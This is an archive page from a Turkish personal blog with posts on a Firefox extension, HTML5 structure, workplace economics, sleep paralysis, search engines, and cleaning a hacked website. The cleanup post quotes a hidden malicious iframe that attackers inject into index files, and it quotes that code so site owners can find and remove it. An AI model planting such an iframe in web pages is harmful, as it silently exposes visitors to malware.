admin: 28 Haziran 2010 | kategori: Bilgisayar, Tanıtım, İnceleme | 2 yorum var
Açık kaynak kod felsefesinin en büyük nimetlerinden biri olan Firefox sürekli olarak milyonlarca kullanıcı ve geliştirici tarafından iyileştiriliyor. Hergün onlarca eklenti yazılıyor ve yeni ‘nightly beta’ adı verilen önizleme sürümleri yayınlanıyor. Tüm bunların yanında diğer tarayıcılarda boş durmuyor tabii ki. Google Chrome, Opera, Safari ve ben dahil bir çoğumuzun nefret ettiğini Internet Explorer.
Tarayıcılar ne kadar gelişirse gelişsin hiçbir zaman birbirleriyle uyuşamıyorlar. Bir sayfa farklı tarayıcılarda çok farklı görünebiliyor. Bu en çok arayüz tasarımcıları ve web tasarımcıları için güçlük yaratıyor, ancak ne kadar sorun olursa olsun çoklu-tarayıcı desteği vazgeçilmez olmaya devam ediyor. İşte bu yüzden birçok web tasarımcının hatta birçok deneyimli kullanıcının bilgisayarında birden fazla web tarayıcı kurulu durumda. Bu yazıda bahsedeceğim Firefox eklentisi bu kitleye hitap etmekte.
‘Open With‘ adlı eklenti sayesinde Firefox’u hiç kapatmadan ve yapılması gereken tıklama sayısı azaltılarak bir web sayfasını bilgisayarınızda kurulu diğer tarayıcılar ile açabiliyorsunuz. Böylelikle geliştirme aşamasın da boşa harcanan çoklu-tarayıcı uyum süreci en aza indirgenmiş oluyor.
Eklentiyi bu bağlantı üzerinden kurduktan sonra tek yapmanız gereken Firefox’u yeniden başlatıp farklı tarayıcı ile görmek istediğiniz sayfanın boş bir yerinde sağ tıklamak. Sağ tıkladığınızda yandaki menüye ulaşabilir ve istediğiniz tarayıcı listeden seçebilirsiniz.
Bu arada Firefox gelecek sürümlerinde radikal bir değişiklik yapmazsa yerini Google Chrome’a kaptırabilir. Ben sadece alışkanlıktan kopamıyorum, o kadar!
etiketler: chrome, eklenti, explorer, firefox, google, İnternet, mozilla, open, opera, safari, with
admin: 4 Şubat 2010 | kategori: Html, Tanıtım, İnceleme, İnternet | 1 yorum var
Web durmaksızın gelişiyor. Hergün HTML’in sınırılarını her yönde zorlayan yepyeni ve yaratıcı birçok websitesi tasarlanıyor. HTML 4 neredeyse 10 yıldır bizlerle ve artık tasarımcılar tarayıcı ve dil özelliklerini en verimli şekilde kullanabilecekleri yeni bir teknik arayışına girdiler.
HTML 5 form kontrollerinin, APIlerin, çoklu ortamların, yapıların ve anlamsal işlemlerin bulunduğu geniş çaplı bir özellik hazinesini sunmakta ve barındırmaktadır. Böylelikle yazarlar tasarımlarında ve uygulamalarında daha esnek ve yaratıcı olabilirler.
HTML 5, 2004 yılında tanıtılmıştır ve şuan W3C HTML WG ve WHATWG ortak çalışması olarak devam etmektedir. 4 büyük tarayıcı markası olan Apple, Mozilla, Opera ve Microsoft’un temsilcileri W3C içinde baş geliştirici olarak ortak çalışmaktadır. Bunların yanında birçok oluşum ve bağımsız kişi farklı farklı bölümlerde ilgi ve uzmanlıklarını paylaşmaktadırlar.
Özellik sayfası henüz geliştirme aşamasında olan ve tamamlanması için daha birçok eklenti yapılması gereken bir süreçtir. Bu doğrultunda yazıda bahsedeceğimiz bazı olası özellikler gelecekte değişime uğrayabilirler. Bu makale henüz geliştirilmekte olan birçok ana özelliğe kısa bir bakış yapmanızı sağlayacak bilgiler sunmaktadır.
Yapısı
HTML 5 sayfaların yapısını kolay ve hızlı bir şekilde yapmanızı sağlayacak birçok yeni nesneyle birlikte gelmektedir. Çoğu HTML 4 sayfası başlıklar, altlıklar ve sütunlar gibi birçok tanımlayıcı yapı nesnesini içermektedir ve genellikle hangi yapıyı temsil ettikleri div nesnelerinin id veya class öznitelikleriyle işaret edilmektedir.

Örnek grafikte alışılageldik 2 sütunlu bir yapı örneğinin div nesnesinin id ve class öznitelikleriyle tanımlanmış halini görmektesiniz. Bir adet başlık, altlık ve başlığın altında yer alan yatay bir erişim çubuğu içermektedir. Ana içerik bir makale ve sağ tarafta bir yan menü içermektedir.
HTML 4 üzerinde div elementinin geniş olarak kullanılmasındaki asıl neden özel olarak bu bölgelerdeki anlamsal ifade eksikliğini gidermektir. HTML 5 ise bu sorunu farklı bölümleri temsil eden farklı nesneler sunarak gidermeyi hedeflemektedir.

Div nesneleri yeni tanıtılan nesneler ile yer değiştirilebilir: header, nav, section, article, aside ve footer.
Bahsi geçen dökümanın biçimlendirmesi aşağıdaki gibi olmaktadır.
<body>
<header>…</header>
<nav>…</nav>
<article>
<section>
…
</section>
</article>
<aside>…</aside>
<footer>…</footer>
</body>
etiketler: anlamsal, api, article, aside, class, div, footer, header, Html, html5, id, nav, nesne, section, sidebar, site, w3c, web, whatwg, yatay
admin: 24 Aralık 2009 | kategori: Nasıl yapılır, İnceleme | yorum yok
İşim gereği birçok web sorunuyla karşı karşıya gelmekteyim. Bunlardan biri uzun zamandır sık sık gördüğüm “Bu site bilgisayarınıza zarar verebilir” uyarısı. Basit bir şekilde işliyor bulaşma mantığı. Virüs ve/ya casus yazılım bulaşmış bir bilgisayar düşünün ve tabii tüm sitelerinize bu bilgisayardan erişiyorsunuz. Tüm ftp bilgileriniz, eposta bilgileriniz vs. bu bilgisayarda mevcut ve kayıtlı. Bu kötü yazılım bunları ele geçirdikten sonra kendisini hazırlayan “badguy”a gönderiyor. Tabii bu arkadaş ya kendi kullanıyor ya hazırladığı otomasyona sokarak sisteminizi enfekte ediyor. Aslında bu genel anlamda bir virüs sayılmaz. Sadece ftp’ye erişerek index (index.php, default.asp gibi) dosyalarına bir kod parçacığı ekliyor. Aşağıda bahsettiğimiz kodun bir örneği mevcuttur;
<iframe src=”http://site.ru.tld:8080/index.php”width=177 height=181 style=”visibility:hidden”></iframe>
Bu kod parçaçığıda Google zararlı olarak işaretlediği için sitenizde zararlı olarak işaretlenmiş oluyor. Bu durumda Firefox, Google Chrome ve Google Aramadan gelen ziyaretçileriniz “Bu site bilgisayarınıza zarar verebilir” ekranıyla karşılaşıyor.
Tüm yazdıklarımızından sonra asıl amacımız olan “Bu koddan nasıl kurtulacağınız?” sorusuna gelelim. İlk olarak tüm yedeklerinizi almanızı tavsiye ederim. İşlem sırasında hata çıkma olasılığına karşı virüslü de olsa yedeklerin olması sağlıklı olacaktır. Tüm site dosyalarımızda yukarıda örneği yer alan kodu arayarak silmeliyiz. Genelde index dosyalarında olsa da diğer tüm dosyaları kontrol edip temizlemeniz çok daha doğru olacaktır. Ardından temiz bir bilgisayarda tüm düzelttiğiniz dosyaları ftp’dekileri silerek tekrar yükleyiniz. FTP, kontrol paneli ve diğer hizmet şifrelerinizi değiştirmeyide unutmayınız tabii ki.
Sırada sitenizi Google’ın zararlı siteler listesinden çıkarma işlemi var. Bu tam olarak bizim kontrolümüzde olan bir durum olmadığı için Google’ın sunduğu Webmaster Tools‘u kullanacağız.
Giriş işlemlerinizi yaptıktan sonra aşağıdaki işlemleri sırasıyla yapmanız gerekmektedir.
1. Site Ekleyin tuşunu tıkladıktan sonra çıkan ekranda site adresinizi giriniz.
2. Sahip olduğunu doğrula sayfasında doğrulama türünü seçerek söylenen işlemleri yapınız. Ben kolay olması için dosya yüklemeyi seçip devam ediyorum.
3. Onay işlemini yaptıktan sonra Google Webmasters Tools bize sitenin durumu hakkında bilgi verecektir. Eğer zararlı site şeklinde işaretli ise bu konuda da ekranda uyarı gösterilecektir.
4. Bu durumdan kurtulma yöntemlerinden bahseden sayfadaki “İnceleme Talep Et” butonunu tıklamadan önce metin alanına kısa bir açıklama girmeniz uygun olacaktır.
İşlemler şuan için bu kadar. Google 3-5 saat içinde büyük ihtimalle talebinizi işleme alacak ve sitenizi zararlı listesinden çıkaracaktır. Hayırlı olsun.
etiketler: bilgisayarına, bu, casus, computer, engel, ftp, google, harm, iframe, index.php, may, site, this, verebilir, virüs, your, zarali, zarar
admin: 9 Ekim 2009 | kategori: İnceleme | 2 yorum var
Sektör ne olursa olsun hiç farketmez gerçekten öngörüşlü olmayan patronlar ve/ya iş sahipleri bir çalışan alırken birden fazla seçenek var ise kuşkusuz maliyeti en düşük olanı seçecektir. Bu durum kısa zamanlı olarak kasadan çıkan paranın azalması doğrudan da giderlerde azalma gibi görünse de çalışanın performansı ve firmaya kazandırdıkları / maliyeti oranı iyi yapılmamış ise uzun bir zaman diliminde mutlaka zarar veya kazancın düşmesine neden olacaktır.
Örneğin bir konuda spesifik olarak eğitim almış bir X çalışanı aylık olarak maaş ve sosyal giderler dahil 2500TL ve herhangi bir eğitim almamış ve tabiri caizse “alaylı” bir Y elemanı tüm giderleri dahil 1250TL çıkışa neden olmaktadır. Ancak burada sadece anlık olarak elinizdeki nakitten eksilecek olanı düşünmek yerine çalışanlar ile ilgili bir kazanç / maliyet analizi yapalım.
X elemanının aylık olarak firmanıza 25000TL getiri sağlayan bir performans sunduğunu düşünelim diğer alaylı elemanımız Y ise tecrübe ve bilgi eksikliğinden kaynaklanan performans kaybı ile 10000TL sağlayabilmektedir. Bu net olarak görünecek bir nakit para çıkışı / kâr grafik değişimine neden olacaktır. Tecrübeli X net olarak size 22500TL, acemi Y ise 9750TL kazanç sağlamaktadır.
Bu durum ne kadar açık olursa olsun iş sahipleri hiçbir zaman gelecek bir kazanç için elindeki nakiti harcamak istemez. Ancak risk almayı bilen ve öngörüş sahibi bir patron en doğru kararı görebilmektedir. Bu konu sadece çalışanın aldığı maaş ile ölçülemez tabii ki. Sizin için çalışan ve firmanızı en iyi şekilde temsil edecek elemanlarınız için iyi bir ortam sunmalısınız. Google’ı örnek vermeden edemeyeceğim, adamlar sadece çalışanları için masaj salonları, berberler, oyun alanları, tenis sahaları ve buna benzer rahatlatıcı etkinliklerin bulunduğu bir tesis yaptırmış. Ve bu kadar getirinin olduğu bir işi kaybetmek istemeyen çalışan sanki kendi firmasıymış gibi sahiplenir ve elinden gelen herşeyi yapmaya çalışır.
Adı lazım değil büyük bir firmanın sadece anlık gelire önem verdiğini bir düşünün. Elemanlar en düşük ücretlilerden seçiliyor, çalışma ortamları sıkıcı ve hiçbir teşvik edici aktivite yok. Ne çalışanlardan gelen önerilere önem veriliyor ne de tolerans tanınıyor. Düzgün bir tanıtım yapılmamasına ve eğitim verilmemesine rağmen en küçük hatada fırça atılıyor. Ancak tüm bunların yanında Adı Lazım Değil firması sektörün öncülerinden ve sadece adıyla güven sağlıyor. Sizce bu firma ne kadar kalıcı olur?
Çalıştırdığı elemana sadece maliyet şeklinde bakan bir firmanın gücü en fazla 2 kriz atlatabilir.
etiketler: çalışan, iş veren, kalıcılık, kazanç, kriz, maliyet, risk, sektor
admin: 29 Aralık 2007 | kategori: İnceleme | 8 yorum var

Birkaç yıl önce ilk kez başıma geldiği zaman çok korkmuştum. O zamanları ve nasıl bir çözüm bulduğumu yada tanıdıklarıma ne şekilde anlattığımı hatırlamıyorum sadece o gece başıma gelenleri hatırlıyorum.
Bir gece normal bir şekilde yatağa gittim ama hayatımdaki en korkunç gecelerden biri olacağı aklıma hiç gelmezdi. Saatle ilgili hiçbir bilgim yok ama etraf karanlıktı, gecenin köründe neden yada nasıl oldu bilmiyorum gözlerimi açtım ancak en karanlıkta bile görmem gereken küçük şeylerde yoktu. Vücudum sanki beni tınmıyordu sanki vücudum hacklenmiş gibiydi. Verdiğim hiçbir komutu dinlemiyor hatta nefes bile aldığımı hissedemiyordum. Üstümde sanki tonlarca yük binmişti o korku durumunda öleceğimi düşündüm ve korku filmlerindeki ambians sesleri gibi gelen seslere küfür etmeye başladım, içimden, ve yüksek frekansta daha çok canavar sesine benzeyen bir sesle bitti bu durum. Korku seviyemin tavanda olması ışıkları açmaya kadar gitmem için bile cesaret toplayamama neden oldu ve tekrar uykuya daldım. Sabah kalkıp evdekilere sorduğumda daha cümlem bitmeden “karabasan” dediler.
Karabasan, adı bile korkunç ama yaşadım. Yakınlarım böyle bir durum olursa dua etmen yeterli dediler. Ancak bir süre sonra tekrar oldu aynı şeyler. Tekrar sistem belleği azalmış Windows gibi kastım kaldım. Ama bu sefer dua ettiğimi hatırlıyorum. Çok fazla dua bilmem, akılama gelen tüm dualar bittikten sonra arapça kelimeler tekrarlamaya başladım. Bu seferki karabasan olayının sonunu hatırlamıyorum. Büyük ihtimalle uyuyup kaldım.
Son zamanlarda sık sık olmaya başlayan bu olay beni kendine alışmaya zorluyor gibi. İlk zamanlardaki kadar korkmasanda sonuçta benim dediğiniz vücudunuz sizi dinlemiyor. Bende bunun bilimsel bir açıklaması olması gerektiğini düşündüm ve bir araştırma yaptım. En açıklayıcı şu wiki sayfasını buldum.
İngilizcesi Dreamscapes olarak geçiyor. Tam olarak çevirmek mümkün değil galiba çünkü 2 şekilde yorumlanabilir. Dream + scape (ki scape tek başına anlamsız ama ’scape goat’: günah keçisi, suç üzerine kalan kişi, kabaca, şamar oğlan) yada dream (e)scape. Ben dream(e)scape yani rüyalardan kaçış olarak çevrilebilir diye düşünüyorum ve yorumu size bırakıyorum.
Uyku felci genellikle uyandıktan hemen sonra yada, seyrek olarak, uyumadan hemen önce vücudun uyku haline geçerek hipnopompik felç durumunda kalıp bilincin normal şekilde işlemesi sonucu vücudun hareket ettirilememesi durumudur. Uykunun REM (Rapid Eye Movement, Hızlı Göz Hareketleri) yani rüya görülen kısmında meydana gelen hipnopompik felç durumunda hem normal felç de olduğu gibi hareket kabiliyeti kaybedilir hem de gerçek dışı hayaller görülebilir. Belirli bir süre sonra, eğer tekrar uyumazsanız, felç durumu geçer ve normal hareket yetilerinizi geri kazanırsınız.
İnsan bu şeylerin olmasına neden olan her neyse üstesinden gelmeyi hatta kavga etmeyi düşünüyor ancak dediğim gibi kitlendiğiniz için yapabileceğiniz tek şey bilinçaltınızı savunma pozisyonuna almayı denemek oluyor. Bir an düşünün vücudunuz yok sadece beyniniz var, oda fiziksel olarak değil tinsel olarak. Yani gözlerinizi açtığınızı zannediyorsunuz ancak etraf gerekmediği kadar karanlık. Bir süre için beyninizin içinde yaşıyorsunuz.
Konu hakkında detaylı bilgi almak için burayı, şurayı, öteyi, beriyi tıklayabilirsiniz.
etiketler: ağırlık, dream, dreamscapes, escape, felç, felci, kara, karabasan, korku, rem, uyku
admin: 17 Ağustos 2007 | kategori: İnceleme | 3 yorum var
Birçok kullanıcı Google, Yahoo gibi çok bilinen arama motorlarını kullanır ancak piyasada binlerce arama motoru vardır. Hatta bir sürü Türkçe arama motoru bile var.
Bu yazımızda arama motorlarını ayrıntılı bir şekilde inceleyeceğiz. Bilmediğiniz ama güçlü olan bir çok arama motorunu tanıyacaksınız.

Birçok özelliği bulunan güçlü bir arama motorudur. Özellikleri arasında Vidyo, Müzik, Ses gibi medya dosyalarını aramanın yanı sıra anahtar kelime ile ilgili haberleride bulmak yer alıyor. Ve gerçekten kullanışlı özellikler. Aile filtresi adlı özelliği ise gerçekten işe yarıyor. -AltaVista
KartOO flash ile hazırlanmış bir arama motoru ama işe yaradığı kesin. Arama sonuçlarının ekran görüntülerini, site bilgilerini ve anahtar kelimeleri aynı olan sitelerin birbiriyle olan bağlantılarını gösteriyor. Anladığım kadarıyla veritabanı yahoo’yu kullanıyor.

ChaCha basit arayüzüyle etkili çözümler veren kullanışlı bir arama motorudur. Vidyo arama özelliğinde ilgi çeken bir eklenti ile bulunan kayıtların yanında ilgili videoyu oynar bir şekilde görebiliyorsunuz. Video arama sonuçlarının bulunduğu sayfada VideoWall adlı özelliği ise bulunan videoları animasyonlu bir şekilde çalma listesi olarak gösterebiliyor.

Aradığınız anahtar kelimeyi içeren sitelerin linklerini değilde, ekran görünütlerini sonuç olarak veren bir arama motorudur. Arama sonuçlarında çıkan ekran görünütülerinin altında yer alan iki tane simgeyle site hakkında daha iyi bilgi alabiliyorsunuz. Biri sitenin ekran görünütüsünü büyültüreken, diğeri ise site hakkında ayrıntı ve paylaşım bilgilerini gösteriyor. Kullanım olarak basit ancak resimlerin yüklenmesi azda olsa zaman alabiliyor. PageBull
Birazda Türkçe Arama Motorları; (Türk’üm ve vatanımdan gurur duyuyorum ancak bütün Türkçe arama motorları resmen bir hüsran, google’ın binlerce sayfa bulduğu bir kelimeyi yaklaşık 50 Türkçe arama motorunda aramama rağmen tek bir sonuç bile çıkmadı, en sonunda tek bir sonuç’un bulunduğu siteyi ilk başa ekliyorum) Türkçe arama motorlarına 10 üzerinden notlar vereceğim.
Arama-TR | İstediğiniz siteyi ücretsiz ekleyebildiğiniz ve çok gelişmemiş bir arama motorudur. Ancak yaptığım bir çok deneme sonucunda yazmaya karar verdiğim sitelerden biri. Bu sitelerden çok çok çok çok daha kötüleride var. 10 üzerinden 2 veriyorum.
ARA | Öyle abartılacak özellikleri ve kapasitesi olan bir site değil ancak onlarca Türkçe arama motoru arasında iyi sıralarda yer alıyor. Arama sonuçları ve arayüzü alışılagelmiş bir şekilde kullanıcıya sunuluyor. 10 üzerinden 4 veriyorum.

Ara Bulsun | Vasat Türkçe arama motorlarından birisi ancak dediğim gibi listenin sonuna doğru gidildikçe kalite artmakta. Sonuçları yeter denebilcek kadar ancak internette asla sınır olmayacağını unutturacak kadarda az. Tasarım çok iyi değil, daha sadece ve renkli olabilirdi. 10 üzerinden 5 veriyorum ve kullanılabilir Türkçe arama motorları arasında ekliyorum.
EN İYİ TÜRKÇE ARAMA MOTORU
Bilgi | Bence Google Türkiye‘ye rahatlıkla rakip olabilecek bir arama motoru. Bir arama sitesinde beklenen herşey bence var. Tasarımı akıl karıştırmayacak kadar sade, ilgi çekecek kadar zengin. Sonuçları bir arama motorundan beklenecek en iyi seviyede. Birçok kategoride arama yapılabilir. Örneğin aradığınız kelimenin sadece haber değeri olan kayıtlarını görmek istiyorsanız haber sekmesinde aratıyorsunuz. Video, Blog, Wiki gibi arama kategorileri olan başarılı bir site. Sitenin seçeneklerini kendinize göre düzenleyerek daha kişisel bir sayfa elde edebiliyorsunuz. Siteye yakında kendi özel PageRank (Sayfa değeri) sistemi eklenecekmiş, test aşamaları bitmiş olan sistem sayesinde Türkiye’yi ve Türkleri daha çok ilgilendiren bağlantılara ulaşabileceksiniz. 10 üzerinden 9
(Yüzlerce işe yaramayan Türk ve yabancı arama motorlarını inceleme fırsatımın olduğu bu yazıda, vahim denecek kadar kötü sitelerle karşılaştım. Bu yazıdan sonra bilgi.com‘u giriş sayfam yapma kararı aldım.)
Arama motorları incelememiz burada sona eriyor. Bir sonraki incelemede görüşmek üzere.